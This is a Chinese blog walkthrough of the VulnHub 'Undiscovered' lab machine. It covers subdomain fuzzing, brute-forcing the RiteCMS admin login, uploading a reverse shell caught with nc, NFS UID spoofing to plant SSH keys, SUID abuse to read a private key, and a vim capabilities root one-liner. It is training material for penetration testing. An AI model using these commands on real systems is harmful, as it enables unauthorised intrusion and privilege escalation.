vulnhub-undiscovered靶机渗透详细流程


靶机概述

靶机地址:https://www.vulnhub.com/entry/undiscovered-101,550/

靶机描述:
在这里插入图片描述


一、确认靶机地址

确认靶机地址为192.168.7.152(攻击机为192.168.7.133)

arp-scan -interface=eth1 --localnet

在这里插入图片描述


二、扫描开启的服务

靶机开启了ssh、http和nfs相关服务

nmap -A 192.168.7.152 -p-

在这里插入图片描述


三、域名扫描

访问http页面失败,自动跳转到undiscovered.thm

在这里插入图片描述

绑定域名后重新访问

在这里插入图片描述

在这里插入图片描述

提示路径在更深邃的地方,此处尝试了一会儿目录扫描无果,猜测可能需要进行子域名爆破

在这里插入图片描述

在这里插入图片描述

尝试进行子域名爆破,得到了不少结果

wfuzz -H 'HOST: FUZZ.undiscovered.thm' -u 'http://undiscovered.thm/' -w /root/dict.txt --hw 26,53

在这里插入图片描述


四、cms漏洞利用

依次进行域名绑定后访问页面,都是ritecms的index页面
在这里插入图片描述

搜索ritecms漏洞,查看发现ritecms后台路径为/cms,默认用户名和密码均为admin

在这里插入图片描述

在这里插入图片描述

大部分子域名下/cms路径都不存在

在这里插入图片描述

但deliver子域名下页面发生了变化,并且访问/cms路径后出现登录页面

在这里插入图片描述

在这里插入图片描述

直接使用admin:admin登录失败

在这里插入图片描述

猜测修改了密码,用burp去爆破下

在这里插入图片描述

很神秘地,虽然爆破结果中返回值没有特定到密码,但当爆破结束后放包,却直接进入了ritecms的管理界面

在这里插入图片描述

在File Manager模块中可以上传文件,直接传一个反弹shell

在这里插入图片描述

在这里插入图片描述

开启监听后访问获取到webshell

nc -lvvp 2333

在这里插入图片描述


五、nfs提权

先模拟一个终端

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python3 /tmp/asdf.py

在这里插入图片描述

没有在/var/www和/var/backups目录中找到可利用的敏感文件,去/home下看看用户目录,有两个用户leonard和william,都没有访问权限

在这里插入图片描述

sudo -l命令和查找suid均无可利用的点,接下来只能从nfs服务入手

查看/etc/exports确认nfs挂载的目录

cat /etc/exports

在这里插入图片描述

将NFS服务端192.168.7.152下的共享目录/home/william挂载到本机的nfs下,尝试进入挂载目录,权限不够

mount -t nfs 192.168.7.152:/home/william ./nfs

在这里插入图片描述

这里稍微说下nfs挂载的权限问题,由于/etc/exports中挂载的权限设置为rw,root_squash,故客户端以root用户登入会被视为nfsnobody用户而无法满足访问权限。而nfs实际上是以用户的UID进行用户的身份识别,故可以通过设置与服务器端对应用户相同的UID来欺骗获取访问权限

既然挂载的是/home/william目录,那么就去/etc/passwd下查看william用户的UID,确认为3003

cat /etc/passwd

在这里插入图片描述

在攻击机下修改用户的UID

usermod -u 3003 user

在这里插入图片描述

注意,由于用户user不是root权限,故需要重新在该用户有权限访问修改的目录下重新挂载

umount nfs
cd /tmp
mkdir nfs
mount -t nfs 192.168.7.152:/home/william ./nfs

在这里插入图片描述

在这里插入图片描述

切换user用户后成功访问到nfs共享文件夹

su user
/bin/bash
cd nfs
ls -al

在这里插入图片描述

拿到flag1

在这里插入图片描述

在/etc/exports中知道我们具有读写权限,故在william用户目录下创建.ssh文件夹后生成ssh公私钥后即可通过ssh登录为william用户

mkdir .ssh
ssh-keygen -t rsa
存储路径为/tmp/nfs/.ssh/id_rsa
mv id_rsa.pub authorized_keys
cp .ssh/id_rsa /tmp
exit
exit
mv id_rsa /root/.ssh/id_rsa
cd /root/.ssh
chmod 400 id_rsa
ssh william@192.168.7.152 -i id_rsa

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


六、越权命令执行(文件读取)提权

sudo -l依然需要输入密码,那么查看下具有SUID的命令,发现当前william用户目录下就有一个可执行文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

尝试运行发现输出两行语句,strings查看发现调用了当前目录下的admin.sh,查看admin.sh发现同样的输出语句

在这里插入图片描述

在这里插入图片描述

下载到本地用ida反编译下看看,发现当它收到arg参数时会调用/bin/cat命令查看/home/leonard目录下文件,无参数时才执行admin.sh

python3 -m http.server 1234
wget http://192.168.7.152:1234/script 

在这里插入图片描述

那么我们试下查看leonard用户的ssh私钥,成功

./script .ssh/id_rsa

在这里插入图片描述

覆盖本地的私钥连接到leonard用户

在这里插入图片描述
在这里插入图片描述


七、Capabilities提权

leonard的sudo -l依然需要密码,而且用户目录和所属文件、suid文件均无可利用点
没什么好的思路,上提权脚本吧

cd /tmp
scp -r root@192.168.7.133:/root/linpeas.sh ./
chmod 777 linpeas.sh
./linpeas.sh

在这里插入图片描述

发现靶机可利用capabilities位提权

在这里插入图片描述

Capabilities机制是将root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程的属性存在,每个功能组都可以独立启用和禁用。在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

vim.basic的capabilities提权命令与vim相同,输入提权命令后切换为root权限

/usr/bin/vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

在这里插入图片描述
在这里插入图片描述

获取flag2,结束

在这里插入图片描述


总结

这次最主要的收获在于学习到了一种新的提权方式capabilities位提权
除了使用提权脚本查找外,也可以通过getcap -r / 2>/dev/null来查看

  • 29
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值